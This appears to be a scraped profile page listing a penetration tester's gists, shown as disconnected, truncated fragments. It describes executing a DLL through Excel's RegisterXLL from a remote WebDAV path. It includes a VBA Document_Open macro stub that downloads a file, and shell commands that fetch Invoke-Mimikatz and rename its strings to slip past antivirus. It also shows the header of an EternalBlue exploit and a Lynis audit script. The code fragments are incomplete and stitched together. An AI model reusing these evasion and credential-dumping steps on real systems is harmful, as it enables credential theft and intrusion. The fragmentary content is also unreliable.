Filippos Mastrogiannis filipposmastro

Fast Testing Checklist

A combination of my own methodology and the Web Application Hacker's Handbook Task checklist, as a Github-Flavored Markdown file

DLL Execution via Excel.Application RegisterXLL() method

A DLL can be loaded and executed via Excel by initializing the Excel.Application COM object and passing a DLL to the RegisterXLL method. The DLL path does not need to be local, it can also be a UNC path that points to a remote WebDAV server.

When delivering via WebDAV, it should be noted that the DLL is still written to disk but the dropped file is not the one loaded in to the process. This is the case for any file downloaded via WebDAV, and they are stored at: C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV\.

The RegisterXLL function expects an XLL add-in which is essentially a specially crafted DLL with specific exports. More info on XLL's can be found on MSDN

The XLL can also be executed by double-clicking the .xll file, however there is a security warning. @rxwx has more notes on this here inc

	using System;
	using System.Collections.Generic;
	using System.DirectoryServices.Protocols;
	using System.Globalization;
	using System.Linq;
	using System.Runtime.InteropServices;
	using System.Runtime.InteropServices.ComTypes;
	using System.Security.Policy;
	using System.Security.Principal;
	using System.Text;

	sing System;
	using System.Diagnostics;
	using System.Reflection;
	using System.Configuration.Install;
	using System.Runtime.InteropServices;



	/*
	Author: Casey Smith, Twitter: @subTee

	using System;
	using System.Diagnostics;
	using System.Runtime.InteropServices;

	namespace BlockDllTest
	{
	class Program
	{
	static void Main(string[] args)
	{

	' based on
	' https://stackoverflow.com/questions/17877389/how-do-i-download-a-file-using-vba-without-internet-explorer
	'
	' powashell.csproj by @SubTee
	' https://gist.github.com/egre55/7a6b6018c9c5ae88c63bdb23879df4d0

	Sub Document_Open()
	Dim WinHttpReq As Object
	Dim oStream As Object
	Dim myURL As String

	# AV Bypass to run Mimikatz
	# From: https://www.blackhillsinfosec.com/?p=5555

	# Server side:
	wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1
	sed -i -e 's/Invoke-Mimikatz/Invoke-Mimidogz/g' Invoke-Mimikatz.ps1
	sed -i -e '/<#/,/#>/c\\' Invoke-Mimikatz.ps1
	sed -i -e 's/^[[:space:]]#.$//g' Invoke-Mimikatz.ps1
	sed -i -e 's/DumpCreds/DumpCred/g' Invoke-Mimikatz.ps1
	sed -i -e 's/ArgumentPtr/NotTodayPal/g' Invoke-Mimikatz.ps1

	#!/usr/bin/python
	# This file has no update anymore. Please see https://github.com/worawit/MS17-010
	from impacket import smb, ntlm
	from struct import pack
	import sys
	import socket

	'''
	EternalBlue exploit for Windows 8 and 2012 by sleepya
	The exploit might FAIL and CRASH a target system (depended on what is overwritten)

	#!/bin/sh

	# This script will automatically:
	# * download [Lynis](https://cisofy.com/lynis/), an open source security auditing tool
	# * run a full audit check, either privileged, or non-privileged if not logged in as root
	# * cleanup by removing the downloaded archive, and the extracted directory it ran out of
	# * save the audit report to your local directory (YYYYMMDD-lynis-report)
	#
	# This script requires:
	# * awk

Filippos Mastrogiannis filipposmastro

Fast Testing Checklist

Contents

DLL Execution via Excel.Application RegisterXLL() method